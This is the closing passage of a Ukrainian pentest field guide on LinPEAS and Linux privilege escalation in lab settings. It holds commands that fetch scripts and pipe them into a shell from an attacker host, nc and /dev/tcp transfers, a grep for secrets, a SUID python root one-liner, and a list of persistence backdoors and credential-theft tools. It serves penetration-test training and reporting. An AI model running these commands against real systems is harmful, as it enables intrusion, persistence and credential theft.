  grep -liE 'password|passwd|pwd|secret|token|api[_-]?key' "$f" 2>/dev/null
done
```

⚠ **УВАГА:** аналог .bak — це VCS-залишки: `.git`, `.svn` в /var/www. `git log -p | grep -i password` часто видає commit'и з accidentally committed creds, які пізніше "видалили" — але є в історії.

9. Quick Reference — LinPEAS cheat sheet

9.1 Команди запуску

```sh
# Стандарт — з github прямо у sh
user@target$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# З локального HTTP-сервера (типовий CTF/HTB workflow)
attacker@kali$ python3 -m http.server 8000
user@target$ curl 10.10.14.X:8000/linpeas.sh | sh

# Зберегти вивід для подальшого аналізу
user@target$ ./linpeas.sh -a | tee /dev/shm/linpeas.txt
user@target$ less -r /dev/shm/linpeas.txt    # -r зберігає кольори

# In-memory + send back (без запису на диск цілі)
attacker@kali$ nc -lvnp 9002 | tee linpeas.out
user@target$ curl 10.10.14.X:8000/linpeas.sh | sh | nc 10.10.14.X 9002

# Без curl/wget
attacker@kali$ sudo nc -q 5 -lvnp 80 < linpeas.sh
user@target$ cat < /dev/tcp/10.10.14.X/80 | sh
```

9.2 Прапорці

Flag	Що робить
`-a`	All checks — глибша енумерація, повільніше
`-s`	Superfast/stealth — пропускає повільні чеки, нічого на диск
`-P <pass>`	Передати пароль для `sudo -l` та bruteforce інших юзерів
`-o <modules>`	Виконати тільки конкретні модулі (наприклад `-o SysI,Devs`)
`-e`	Extra enumeration — детальніше, голосніше
`-q`	Quiet — без банера
`-N`	Без кольорів (для логів)
`-f <folder>`	Аналізувати конкретну директорію
`-L`	Linpeas-style fuzzy — regex по файлах
`-D`	Debug режим

9.3 Кастомний білд (для stealth)

Якщо AV/EDR ловить повний linpeas, або потрібно тільки конкретні чеки:

```sh
# Тільки cloud + container чеки
attacker@kali$ python3 -m builder.linpeas_builder --include "container,cloud" --output /tmp/linpeas_custom.sh

# Виключити шумні модулі
attacker@kali$ python3 -m builder.linpeas_builder --exclude "CPU_info,Sudo_version" --output /tmp/linpeas_qui
```

9.4 Workflow на чек-листі

- 1. `linpeas.sh -s` — швидкий перший прохід (5 хв)

- 2. Шукати у виводі `95%` — Red+Yellow знахідки
- 3. Перехресна перевірка з `gtfobins.github.io` для всіх SUID/sudo/cap
- 4. `searchsploit kernel <version>` для kernel
- 5. Якщо нічого — `linpeas.sh -a` повний прохід
- 6. Паралельно — `pspy64` для real-time process monitoring
- 7. Паралельно — `lse.sh` (Linux Smart Enumeration) — інша логіка
- 8. Якщо знайдено creds → su як інший юзер → повторити з кроку 1

10. Приклад реального LinPEAS output (Ubuntu 20.04)

Нижче — типовий вивід LinPEAS на скомпрометованому Ubuntu 20.04 (HTB-style лаба) з усіма Red+Yellow знахідками. Розглядаємо як чеклист — кожен hit мапиться на вектор з попередніх розділів.

```
                                                                    linpeas

                    ╔═══╗
            ╔═══╗═══╣ LINPEAS ╠═══╗
                    ╚═══╝

                LinPEAS — Privesc Awesome Script

╔═══════════════════╣ Basic information ╠═══════════════════╗
OS: Linux version 5.13.0-39-generic ...
User & Groups: uid=1000(user) gid=1000(user) groups=1000(user),998(docker)
Hostname: htb-lab01
Writable folder: /tmp

╔═══════════════════╣ System Information ╠═══════════════════╗
[+] Operative system
   Strictly Linux Privesc Checklist:
   Linux Privilege Escalation - Linux Kernel 5.13 - Various CVEs
   → Test: searchsploit linux kernel 5.13

[+] Sudo version
   Sudo version 1.8.31
   Vulnerable to CVE-2021-3156 (Baron Samedit)

[+] PATH
   /home/user/.local/bin:/home/user/bin:/usr/local/sbin:...
   /home/user/.local/bin is writable

╔═══════════════════╣ Container Information ╠═══════════════╗
[+] Container related tools present (if any):
   /usr/bin/docker
[+] /etc/hosts
   10.0.0.10 dc01.corp.local

╔═══════════════════╣ Processes ╠═══════════════════════════╗
[+] Cleaned processes
   root  1234 0.0 backup-script.sh
   root  2345 0.0 mysql -u root -pSup3rS3cr3t!
   ↑ password y command line!

╔═══════════════════╣ Software Information ╠═══════════════╗
[+] Searching specific binaries
   /usr/bin/pkexec ....> CVE-2021-4034

╔═══════════════════╣ Interesting Files ╠═══════════════════╗
[+] SUID files
   -rwsr-xr-x 1 root root  56K /usr/bin/find
   -rwsr-xr-x 1 root root  31K /usr/bin/pkexec  (CVE-2021-4034)
   -rwsr-xr-x 1 root root 184K /usr/bin/python3.8

[+] Files with capabilities
   /usr/bin/python3.8 = cap_setuid+ep
   /usr/bin/perl       = cap_setuid,cap_setgid+ep

[+] Cron jobs
   */5 * * * * root  /opt/scripts/cleanup.sh
   /opt/scripts/cleanup.sh is writable

[+] Searching ssh files
   /home/jeff/.ssh/id_rsa is readable
```

```
[+] Mysql credentials in files
   /var/www/html/wp-config.php: define('DB_PASSWORD', 'WPpass2023!');

[+] My groups
   [!] User belongs to docker group - container escape

[+] Sudo -l output
   (ALL : ALL) NOPASSWD: /usr/bin/find
   env_keep+=LD_PRELOAD
```

10.1 Аналіз прикладу — 9 паралельних шляхів до root

З виводу попередньої сторінки — рахуємо знайдені вектори. На цьому хості 9 паралельних privesc-шляхів. На реальному engagement один такий хост = страшний звіт для замовника.

#	Знахідка з виводу	Вектор	Час до root
1	**Sudo NOPASSWD: /usr/bin/find**	V05 (sudo NOPASSWD)	~5 sec
2	**env_keep+=LD_PRELOAD**	V06 (LD_PRELOAD)	~30 sec
3	**SUID /usr/bin/python3.8**	V09 (SUID GTFOBins)	~5 sec
4	**SUID /usr/bin/find**	V09 (SUID GTFOBins)	~5 sec
5	**cap_setuid+ep on python**	V11 (capabilities)	~5 sec
6	**CVE-2021-4034 (pkexec)**	V03 (PwnKit)	~30 sec
7	**CVE-2021-3156 (sudo)**	V02 (Baron Samedit)	~1 min
8	**/opt/scripts/cleanup.sh writable**	V13 (cron writable)	~5 min (wait)
9	**User in docker group**	V17 (docker group)	~10 sec
+	/home/jeff/.ssh/id_rsa readable	V22 (lateral via SSH)	n/a
+	mysql password у processes	V21 (creds harvest)	n/a

10.2 Вибір — який вектор використати?

На реальному engagement порядок такий:

- Безпечно (швидко, не модифікує систему): V09 SUID python (1 команда, без файлів) → найкращий початок
- Безпечно: V11 cap_setuid python — те саме
- Стандартно: V05 sudo find — лишає запис в auth.log
- Стандартно: V17 docker group — створює container, видно у docker ps
- Шумно: V03 PwnKit — записи в auth.log про невалідні pkexec calls
- Шумно: V13 cron writable — modify файлу = зміна mtime, FIM noticed
- Дуже шумно: V02 Baron Samedit — heap exploit, можливий crash sudo

> ✓ **TIP:** На CTF не парся з шумом — швидкість важливіша. На real engagement: документуй всі 9 знахідок у звіті, але exploit'и тільки 1-2 (тиха пара) — якщо клієнт хоче PoC — покажи V09 SUID python (найбезпечніший).

10.3 Експлуатація — найшвидший шлях

```cmd
# Найшвидший root за 5 секунд:
user@target$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
# id
uid=0(root) gid=0(root) groups=0(root)
```

10.4 Документація знахідок для звіту

Кожна знахідка з LinPEAS = окремий finding у звіті. Структура:

- Title: "Privilege Escalation via SUID Python Binary"
- Severity: High (CVSS 7.8)
- Affected: /usr/bin/python3.8 на htb-lab01

- Description: python3.8 встановлено з SUID-бітом, дозволяючи будь-якому локальному юзеру виконати `os.setuid(0)` і отримати root-shell
- Proof of Concept: screenshot команди + вивід id
- Remediation: `chmod u-s /usr/bin/python3.8`; перевірити, які процеси полагаються на цей SUID, та переписати їх через sudo з обмеженням

Післямова — куди йти далі

LinPEAS — найповніший інструмент для Linux privesc enumeration, але це лише початок post-exploitation. Після того як отримали root, наступні логічні напрямки:

Persistence

- SSH key у /root/.ssh/authorized_keys — найпростіше
- Cron job @reboot з reverse shell
- SUID backdoor — копія bash з +s (легко знаходиться)
- systemd service з Restart=always
- PAM backdoor — модифікація /etc/pam.d/sshd для accept будь-якого пароля
- Rootkit — Diamorphine, Reptile (для serious engagement)

Lateral movement

- SSH keys з /root/.ssh/ — pivot до інших хостів
- /etc/hosts, `arp -a`, `ss -tunap` — internal network discovery
- Chisel / sshuttle — port forwarding для атак на internal services
- Kerberos tickets — якщо хост у AD-домені (kinit, klist, AS-REP roasting)

Credential harvesting (post-root)

- /etc/shadow — все hashes для offline crack
- ~/.bash_history усіх юзерів
- SSH-agent sockets у /tmp/ssh-* — hijack для pivot
- Mimipenguin — креденшіали з GDM/LightDM memory
- LaZagne — config files, browsers, мейл клієнти
- /var/log/auth.log — інколи містить failed sudo з паролями (sysadmin typo)

Active Directory (якщо хост у домені)

- Linux + AD через realmd/sssd — кешовані Kerberos tickets у /tmp/krb5cc_*
- SSSD database — /var/lib/sss/db/cache_*.ldb містить domain user info
- Pass-the-Hash з Linux через impacket: `psexec.py -hashes :X user@dc01`
- Kerberoasting з Linux — `GetUserSPNs.py` з impacket

Container escape (якщо ми в контейнері)

- Privileged container з cap_sys_admin → mount host's /
- /.dockerenv exposed + Docker socket mounted → docker.sock escape
- Kernel exploits — DirtyCOW, DirtyPipe працюють з контейнера
- CVE-2024-21626 (runc) — file descriptor leak escape

Cloud pivoting

Якщо в /home знайдено .aws/credentials, .azure/, .config/gcloud/ — додатковий вектор. Потенційно cross-account access, IAM privesc, S3 enumeration з знайденими ключами:

```sh
attacker@kali$ aws --profile stolen sts get-caller-identity
attacker@kali$ aws --profile stolen iam list-attached-user-policies --user-name X
attacker@kali$ pacu    # AWS exploitation framework
```

Філософія pentest reporting

Privesc — лише один з 4 етапів post-exploitation. Цінне для замовника не "ми отримали root", а "ми знайшли N misconfigurations, кожна з яких сама по собі = breach". У звіті важливо документувати ВСІ паралельні privesc-шляхи (як приклад зі сторінки 23 — 9 окремих векторів), а не лише той, що використали для PoC.

LinPEAS дає 80% знахідок автоматично. Решта 20% — пошук custom misconfigs, business logic flaws, legacy software — потребує ручного аналізу. Наше завдання — поєднати обидва підходи.

```
      __                    __
   __/  \__              __/  \__
  /________\            /________\
  |        |            |        |
  |   R    |   -=> pwn <=-  |   T    |
  |   O    |            |        |
  |   O    |    // happy //  |   ?    |
  |   T    |    pillaging    |   ?    |
  |________|            |________|
  .        [ END OF DOCUMENT ]        .
```

// LinPEAS Privesc Field Guide v1.0 — happy hunting //